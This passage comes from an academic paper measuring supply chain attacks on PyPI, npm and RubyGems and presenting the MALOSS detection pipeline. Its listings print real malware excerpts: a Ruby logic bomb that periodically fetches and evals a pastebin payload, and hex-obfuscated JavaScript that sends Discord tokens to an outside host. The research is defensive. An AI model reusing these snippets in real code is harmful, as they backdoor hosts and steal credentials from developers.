to RM and 278 (82 percent) of them have been confirmed
and removed. Out of the removed packages, three of them
have more than 100K downloads, indicating a large number
of victims. Therefore, we requested CVEs (CVE-2019-13589,
CVE-2019-14282, CVE-2019-14281) for them, in the hope
that the potential victims can get timely notifications for
remediation.
Metadata Analysis. For all the packages in registries,
we present the distribution of the number of versions and
downloads per package in Figure 6a. The distribution of the
number of versions shows that 80% of packages have less
than 7 to 9 versions and different registries have similar dis-
tribution, implying a similar release pattern across registries.
In comparison, the distribution of the number of downloads
varies among registries, with 20% of RubyGems and PyPI
packages being downloaded more than 13,835 times and 678
times respectively, indicating that packages distributed on
RubyGems are more frequently downloaded and reused.
We also present the distribution of dependency count for
the top 10K downloaded packages in Figure 6b, including
both direct and indirect dependencies. 80% of these packages
have 2 or fewer direct dependencies, which inflates to 20
or fewer indirect dependencies, implying an implicit trust
for PM to ensure quality of reused OSS and RM to vet
packages for maliciousness. The maximum number of indirect
dependencies in Figure 6b reaches more than 1K, implying a
significant amplification when frequently reused packages get
compromised.
Static Analysis. We ran API usage analysis for all package
versions in registries, followed by taint flow analysis for
packages using suspicious APIs. To allow modularized static
analysis, we build a dependency tree for all packages in each
registry and walk up the tree to find suspicious APIs and flows,
as well as summarize packages for subsequent analyses. We
present the percentage of top 10K downloaded packages using
PyPI Npm RubyGems
Registries
0
10
20
Pe
rc
en
ta
ge
Code Generation
Network
File
Process
(a) Percentage of the top 10K
downloaded packages using sus-
picious APIs in each registry.
PyPI Npm RubyGems
Registries
0
2
4
6
Nu
m
be
r o
f p
ac
ka
ge
s
×104
IPs
DNS queries
Files
Processes
(b) Number of packages exhibit-
ing unexpected dynamic behav-
iors in each registry.
Fig. 7: Statistical comparison of static and dynamic analysis
among registries.
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Fig. 8: The need and capability of scalability in MALOSS.
suspicious APIs in Figure 7a. Contrary to the intuition that
code generation APIs such as eval are dangerous and rarely
used, Figure 7a shows that 7% of PyPI packages and 10%
of RubyGems packages use code generation APIs. Such code
generation APIs are not only frequently used in supply chain
attacks, but also can lead to code injection vulnerabilities if
their inputs are not properly sanitized.
Performance. We present the timeline of the number of
new packages and package versions published each month
in Figure 8a. Overall, the timeline shows that the number of
newly published packages has been increasing, implying the
need of analyzing packages at scale in MALOSS. In Figure 8a,
RubyGems spikes around 2010 because the registry moved
from gems.rubyforge.org to rubygems.org and all timestamps
were reset. As for the other spike of RubyGems around 2015,
no public explanation has been found. The timeline also indi-
cates that the PyPI and Npm community have been growing
recently, while the RubyGems community has plateaued.
Therefore, to quantify the benefit of using modularized static
analysis, we randomly select 1K packages from the top 10K
PyPI packages and present the processing time and speedup
ratio of analysis with summary versus without summary in
Figure 8b. The measurement shows that modularized analysis
achieves more than 5 times and 18 times of speedup ratios in
API usage analysis and taint flow analysis respectively for 20%
of the analyzed PyPI packages. We argue that other registries
would follow a similar pattern of speedup.
Dynamic Analysis. We dynamically analyzed all packages in
registries by sandboxing them in Docker containers [49] and
tracing their behaviors with Sysdig [50]. Figure 7b shows the
number of packages exhibiting unexpected dynamic behaviors
in each registry according to the initial heuristics in §IV-E.
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Fig. 9: Breakdown of malware by attacks and behaviors.
The figure reveals that Npm and PyPI have more packages
with unexpected network activities (i.e. IPs and DNS queries)
than RubyGems. It is important to note that unexpected
behaviors during the installation phase are amplified by de-
pendent packages, resulting in a seemingly large number of
flagged packages in Figure 7b. We remove such redundancy
by checking with the dependency tree.
C. Supply Chain Attack Details
Starting from the initial set of heuristic rules in §IV-E,
we iteratively label suspicious packages, update rules and
end up finding 339 malware. In addition, we have been
tracking supply chain attacks since Jan 2018, and collected
312 malware samples reported by the community, consisting
of 67 malware in PyPI, 230 malware in Npm and 15 malware
in RubyGems. To this end, we systematically summarize this
651 malware, using the framework and terminologies proposed
in §III. We analyze them in multiple dimensions, including
attack vectors, malicious behaviors, persistence, impact, and
infection. While presenting, we use Overall to refer to mal-
ware reported overall, Community for ones reported by the
community and Authors for ones reported by the authors.
Attack Vectors. We categorize malware by their attack
vectors in Figure 9a, which shows that typosquatting is the
most exploited attack vector, followed by account compromise
and publish. It is intuitive that typosquatting and publish would
dominate, since attackers tend to use low-cost approaches.
However, the popularity of account compromise implies a
lack of support by RM and awareness of PM to protect
accounts. Though not significant, other attack vectors such
as malicious contributor and ownership transfer are exploited
by attackers, indicating that each stakeholder in the package
manager ecosystem should raise awareness and be involved in
fighting supply chain attacks.
Malicious Behaviors. We categorize malware by their ma-
licious behaviors in Figure 9b, which shows that stealing is
the most common behavior, followed by backdoor, proof-of-
concept and cryptojacking. We further investigate the domi-
nating category, stealing, and find that around three quarters
of them are collecting less sensitive information, such as
usernames, IPs etc., posing less harm to developers and end
users. The rest of stealing packages collects various sensitive
information, such as passwords, private keys, credit cards etc.
As for backdoor and cryptojacking, their popularity indicates
that attackers are targeting not only end users, but also de-
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Fig. 10: The distribution of number of persistence days and
number of downloads for malware.
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Fig. 11: Correlation between number of persistence days and
number of downloads. R&R: Reported and Removed. R&I:
Reported and Investigating.
velopers and infrastructure of enterprises, implying an urgent
need for developers and enterprises to take action.
Persistence. We present the distribution of number of
persistence days and number of downloads for each malware
in Figure 10, which shows that 20% of them persist in
package managers for over 400 days and have more than 1K
downloads. As of August 2019, none of the three registries
has claimed to deploy analysis pipelines or manual review
processes, but instead rely on the community to find and report
malware, thus leading to the long persistence of malware.
To better understand the distribution of malware in terms of
persistence and popularity, we show the correlation between
number of persistence days and number of downloads in
Figure 11. The scatterplot reveals that popular packages are
likely to persist for fewer days, possibly due to their larger
user base. As highlighted in Figure 11, 18 malicious packages
were identified with more than 100K downloads. We (i.e. the
authors) reported 4 of these 18 packages. Three of our reported
malicious packages, i.e. paranoid2, simple_captcha2 and
datagrid, were confirmed and removed by registry maintain-
ers and are assigned CVE-2019-13589, CVE-2019-14282 and
CVE-2019-14281 respectively. The fourth identified malicious
package, rsa-compat, unfortunately still remains online. It
collects information regarding the package, Node.js runtime
and operating system, and is being investigated by Npm
maintainers due to lack of policies defining user tracking
versus stealing.
Impact. Besides malware characteristics, we also measure
their impact. In particular, we answer whether these malware
are affecting developers and end users. From Figure 10b,
we select malware with more than 10 million downloads.
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Fig. 12: The volume of passive DNS queries aggregated by month for domains related to known malware.
The combined downloads for the most popular malicious
packages (event-stream - 190 million, eslint-scope - 442
million, bootstrap-sass - 30 million, and rest-client -
114 million) sum to 776 million. In addition to threats im-
posed by direct downloads, we emphasize that unlike mobile
stores where apps are user-facing, the packages in registries
are developer-facing, thus amplifying their impact by their
dependents. Moreover, by walking up the dependency tree
in Figure 6b to compute reverse dependencies, we find that
event-stream has 3,905 dependents, eslint-scope has
15,356 dependents, bootstrap-sass has 546 dependents and
rest-client has 4,722 dependents. By measuring their de-
pendent downloads, the downloads for each of these packages
is significantly amplified — i.e event-stream - 539 million,
eslint-scope - 2.59 billion, bootstrap-sass - 46 million,
and rest-client - 289 million downloads, amounting to a
total of 3.464 billion downloads of malicious packages, thus
amplifying the impact by a factor of 4.5.
Infection. Although downloads and reverse dependencies
can be an indirect measure of malware popularity, it is still
unclear whether malware made their way to Dev and EU
and got executed. Inspired by the observation that many of
these malware involves network activity in their malicious
logic, we collaborate with a major Internet Service Provider
(ISP) to check malware related DNS queries. We start with
manually checking malicious payloads and extracting con-
tacted domains. Followed by exclusion of commonly used do-
mains for benign purposes, such as pastebin.com and google-
analytics.com. We query the remaining domains against the
passive DNS data shared by the ISP and present their volume
aggregated by month in Figure 12. The data contains queries
from Jan 2017 to Sep 2019, with the exception from Jun
2017 to Dec 2017 due to data loss. As shown in Figure 12,
mironanoru.zzz.com.ua, a domain used in rest-client [5],
has 10 hits in Aug 2019, but drops to almost zero in Sep
2019. This matches the fact that rest-client is uploaded
and removed in Aug 2019, which shows effectiveness of
supply chain attacks and validates our intuition that a large
user base can help timely remediate security risks. n.cdn-
radar.com, a domain used in AndroidAudioRecorder [27],
has hits until Sep 2019, showing infection even after its
removal in Dec 2018. Further inspection reveals that no
CVE or public advisory is created for this incident and the
def _! begin yield rescue Exception end end
_!{
Thread.new{ loop{
_!{ sleep 900;
eval(open(’https://pastebin.com/raw/5iNdELNX’).read
)}
}}
if Rails.env[0]=="p"}
Listing 4: rest-client [5] uses anti-analysis techniques such
as benign service abuse, multi-stage payload, logic bomb and
non-latest release.
var _0xb303=["\x64\x69\x73\x63\x6F\x72\x64\x2E\x6A\x73","\
x72\x65\x71\x75\x65\x73\x74","\x6F\x6E","\x63\x61\x74\
x63\x68","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x65\x6E\x6E\
x61\x6B\x75\x76\x69\x73\x30\x74\x70\x69\x2E\x78\x2E\x70
\x69\x70\x65\x64\x72\x65\x61\x6D\x2E\x6E\x65\x74\x2F\
x69\x6E\x64\x65\x78\x2E\x70\x68\x70\x3F\x64\x65\x62\x75
\x67\x3D","","\x70\x6F\x73\x74","\x74\x68\x65\x6E","\
x6C\x6F\x67\x69\x6E"];
const Discord=require(_0xb303[0]);
const Yoga= new Discord.Client();
const request=require(_0xb303[1]);
exports[_0xb303[2]]= function(_0x96cdx4){
Yoga[_0xb303[8]](_0x96cdx4)[_0xb303[7]](
(_0x96cdx6)=>{request[_0xb303[6]]((
_0xb303[4]+ _0x96cdx6+ _0xb303[5]))})[_0xb303[3]]((
_0x96cdx5)=>{return})}
Listing 5: fast-requests [63] uses code obfuscation to
defeat analysis.
victims may not be aware of this issue, implying the need
of notification channels. Additionally, ptpb.pw, a domain used
in acroread [19], permanently shutdown in Mar 2019 [57]
due to service abuse from cryptominers, implying possibility
of correlating malware campaigns using DNS queries and
necessity for online services to be abuse-resistant.
D. Anti-analysis Techniques
While manually checking malicious payloads, we notice
that malware have been evolving and leveraging various anti-
analysis techniques to defeat detection. Inspired by previous
works on evasive malware [58]–[62], we enumerate and cate-
gorize techniques used in these supply chain attacks, to raise
the community’s attention and aid future analyses.
Benign Service Abuse. Attackers can abuse benign ser-
vices to hide themselves and circumvent protection mecha-
nisms. For example, Listing 4 shows that rest-client [5]
abuses the pastebin.com service to host their second-stage
payload, making defense techniques based on DNS queries
ineffective. Similarly, AndroidAudioRecorder [27] uses
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DNS tunneling to leak sensitive information, abusing the
DNS service which is usually allowed by intrusion detec-
tion systems (IDS). From DNS query point of view in
Figure 12, pyconau-funtimes [64] successfully hides the
attacker among normal users of 0.tcp.ngrok.io, a service for
establishing secure tunnels.
Multi-stage Payload. Since AV tools are mostly based on
signatures, malware tend to hide their logic and footprint for
fingerprinting by segmenting malicious logic into multiple
stages and including minimal code snippets. For example,
Listing 4 contains only payload fetching, code generation and
error handling, and hides its malicious logic such as stealing
environment variables and backdooring infected hosts in the
second-stage payload from pastebin.com.
Code Obfuscation. Existing studies [65], [66] classify mal-
ware obfuscation techniques into categories such as random-
ization obfuscation, encoding obfuscation, logic structure ob-
fuscation etc., and point out that malware can obfuscate code
to hide malicious logic from both manual inspection and auto-
matic detection. We find supply chain attacks are no different.
For example, both getcookies [31] and purescript [33]
use encoding obfuscation. Similarly, fast-requests [63]
in Listing 5 uses randomization obfuscation and encoding
obfuscation to defeat analysis.
Logic Bomb. TriggerScope [67] defines a logic bomb as
malicious application logic that is executed, or triggered, only
under certain (often narrow) circumstances. Logic bombs can
be used to defeat both static and dynamic malware analysis ap-
proaches. For example, dynamic analysis of rest-client [5]
would never execute the malicious payload if it isn’t executed
in a production environment (Line 8 in Listing 4).
Older Version. Several malware [5], [30] published through
account compromise utilize unique techniques to defeat analy-
sis. Rather than publishing the malicious payload to the latest
version of a package (i.e. maximize the volume of victims,
which in turn increases the probability of being caught),
attackers instead publish these payloads to older versions
of the package to target a smaller number of victims. We
imagine the attacker’s intuition is that developers using older
versions are less cautious about security, thus maximizing
attack persistence and minimizing detection probability.
E. Security Analysis Hurdles
While iteratively labeling suspicious packages, we encoun-
tered several seemingly malicious behaviors which turned out
to be benign. We enumerate them to increase awareness in the
research community and help avoid pitfalls, while hoping that
RM will specify policies to define and regulate such behaviors.
Installation Hook. During installation, some packages
fetch data from online services and locally evaluate or
write them to sensitive locations. For example, stannp uses
c.docverter.com to convert its README to RST format, and
meshblu-mailgun tries to skip the build process by checking
availability of pre-built binaries at cdn.octoblu.com. Such
eval(Net::HTTP.valid_get(URI(
"https://raw.github.com/benjaminleesmith/
evaled_snippets/master/db_console.rb")))
Listing 6: Suspicious but benign code snippet from
net_http_detector.
behaviors are similar to malicious activities and would confuse
automated analyses.
Dynamic Code Loading. Loading code at runtime is consid-
ered as suspicious by mobile stores, since it can be abused
to inject unknown code into apps. However, some benign
packages locally evaluate payloads from network. For exam-
ple, net_http_detector in Listing 6 evaluates payload from
github.com.
User Tracking. PM may want to track users for improving
user experience or increasing business, but the boundary be-
tween information stealing and user tracking is unclear without
well-defined policies. For example, rsa-compat, one of the
packages under investigation due to lack of user tracking poli-
cies (Figure 11), collects Node.js runtime and operating system
metrics, and sends them back to https://therootcompany.com.
VI. MITIGATION
The goal of our study was to not only bring attention
to this overlooked problem, but also to provide guidance to
stakeholders in the package manager ecosystem for detecting
and mitigating supply chain attacks. In this section, we discuss
the general mitigation strategies for each stakeholder and the
limitations of the MALOSS pipeline which RM may extend
on, and help improve the security posture of the ecosystem.
A. Mitigation Strategies
Registry Maintainers. RM are the central authorities in the
ecosystem. We elaborate their mitigation strategies based on
the three types of features presented in Table I, i.e. functional,
review and remediation.
(1) Functional Feature: RM can significantly improve account
protection by providing MFA and code signing, blocking weak
or compromised passwords and detecting abnormal logins.
They can also combat typosquatting by detecting typos at the
registry client side and preventing typos of popular packages
from publishing. In addition, RM can publish policies to guard
ownership transfer, to regulate package behaviors such as
tracking users without notification in rsa-compat, and to rule
out unwanted packages such as restclient which claims to
be a typo-guard gem without proof of their own innocence.
(2) Review Feature: RM can extend MALOSS to identify
packages with (i) names similar to existing popular packages
or related to existing attacks using metadata analysis, (ii)
suspicious API usages and taint flows using static analysis, (iii)
unexpected runtime behaviors using dynamic analysis. The
iterative labeling process in MALOSS can be scaled by crowd-
sourcing manual reviews. Since the package manager ecosys-
tem is an open source community with stakeholders such as
PM and Dev, they can be involved to secure the ecosystem. In
particular, when RM detects a suspicious package version, it
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can broadcast this information to the corresponding developers
or publish its analysis results for “social voting”.
(3) Remediation Feature: Since RM hold the central authority,
they can not only remove malicious packages and publishers
from the server, but also installed packages from the client
by comparing against blacklists. Moreover, RM can also
employ various notification channels such as emails, security
advisories and client-side checks to inform stakeholders about
security incidents. Notification targets include both Dev and
PM of affected packages and their dependents. For example,
the infection of AndroidAudioRecorder after removal shown
in Figure 12 highlights the importance of notification-based
remediation.
Package Maintainers. Attack vectors targeting PM include
account compromise, infrastructure compromise, disgruntled
insider, malicious contributor and ownership transfer. PM
can protect their accounts by adopting techniques such as
MFA, code signing and strong passwords. PM can protect
their infrastructure through firewall, timely patches and IDS.
PM need to be cautious about both new contributors and
disgruntled insiders, and manually inspect small packages or
employ a code review system for larger packages. In addition
to enhancements, PM can help improve the ecosystem by
reporting security issues to advisories, updating dependencies
to avoid known issues, joining “social voting” and avoiding
security analysis hurdles.
Developers. Although Dev cannot control upstream packages,
they can follow best practices to remediate security issues. Dev
can host private registries with known secure package versions
to avoid supply chain attacks from upstream stakeholders. Dev
can periodically check security advisories and timely update
to remain secure. For untrusted packages, Dev can manually
check, deploy MALOSS to vet code and isolate them at
runtime [9], [10] to avoid potential hazards. In addition, Dev
can join “social voting” to improve security analyses.
End Users. Despite no control of any provided service and
software, EU can leverage AV tools to secure their devices
and protect themselves. In addition, EU can raise their security
awareness and access only official and reputable websites.
B. MALOSS Limitations
Scope of Analysis. While prototyping MALOSS, we only
consider files written in the corresponding language for each
registry in static analysis, excluding native extensions, em-
bedded binaries and files written in other languages. We only
consider Linux platform in dynamic analysis, in particular
Ubuntu 16.04, excluding other Linux distributions, Windows
and MacOS environments. We only consider runtime depen-
dencies, thus ignoring development dependencies.
Inaccurate Static Analysis. MALOSS relies on existing AST
parsing and taint analysis tools in static analysis, which can be
inaccurate due to dynamic typing. In addition, programming
practices such as reflection and runtime code generation add to
the problem, and lead to inaccurate results. However, we argue
that more accurate tools and algorithms can be developed and
integrated into MALOSS when available.
Dynamic Code Coverage. MALOSS currently performs
four types of dynamic analyses on Ubuntu 16.04, but may
have limited code coverage. Possible improvements include
environment diversification (e.g. Windows, browser), force-
execution [68], symbolic execution [69] etc.
Anti-analysis Techniques. As discussed in §V-D, attackers
have evolved and adopted anti-analysis techniques. We expect
more sophisticated techniques such as intentional vulnerable
code and heavy obfuscation to appear in the future. We solicit
the future researchers to combat evolving attackers.
VII. RELATED WORK
Software Supply Chain Attacks. The earliest software sup-
ply chain attack is the Thompson hack in 1983, in which he left
a backdoor in the compiler, and could compromise a program
even if its source code is benign. Following that, similar
attacks [70]–[74] are launched, targeting various supply chain
components such as infrastructure, operating systems, update
channels, compilers and cryptographic algorithms. Recent
years witness an increasing trend of supply chain attacks
targeting package managers [4], [5], [7], [13], [19], [30], [32],
[35], [37], which host prebuilt packages for benefits such as
code sharing. Our work studies supply chain attacks against
three popular package managers to identify root causes, scan
new threats and suggest improvements.
Package Management Security. Previous works studied the
design and implementation of package managers and proposed
attacks [75], [76] and defenses [77]–[79]. These works focus
on designing a more secure package manager with properties
such as compromise-resilience and supply chain integrity.
In addition, due to the rising number of vulnerabilities and
malware in the Npm ecosystem, various works [8]–[12], [80],
[81] have been proposed to find new vulnerabilities, isolate
untrusted packages, evaluate risks and remediate issues. Our
work differs from prior work by studying a corpus of real-
world supply chain attacks against package managers and
proposing actionable improvements and suggestions.
Security Tools. MALOSS is an extensible framework and
more tools can be added to the pipeline to generate better
results. For example, static analysis tools for various lan-
guages [39], [82]–[88] and binaries [89], [90] can possibly
generate more accurate and comprehensive results. Dynamic
analysis tools [51], [52], [68], [91]–[95] can increase dynamic
code coverage and provide support for various platforms and
environments.
VIII. CONCLUSION
To systematically study the recent supply chain attacks in
the package manager ecosystem, we propose a comparative
framework, which reveals relationships among stakeholders.
We pinpoint the root causes and summarize their attack vectors
and malicious behaviors. We propose MALOSS, the first large
scale analysis pipeline at package manager level, to detect
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malicious packages. We identified and reported 7 malware in
PyPI and 41 malware in Npm and 291 malware in RubyGems,
out of which, 278 (82 percent) have been removed and 3 have
been assigned CVEs.
We will provide the collected malware samples for research
purpose on request, to aid future research on improving
security of package managers. We envision this work as a
first step towards securing the package manager ecosystem,
and solicit more works on detecting advanced malware, as
well as protecting developers and end users.
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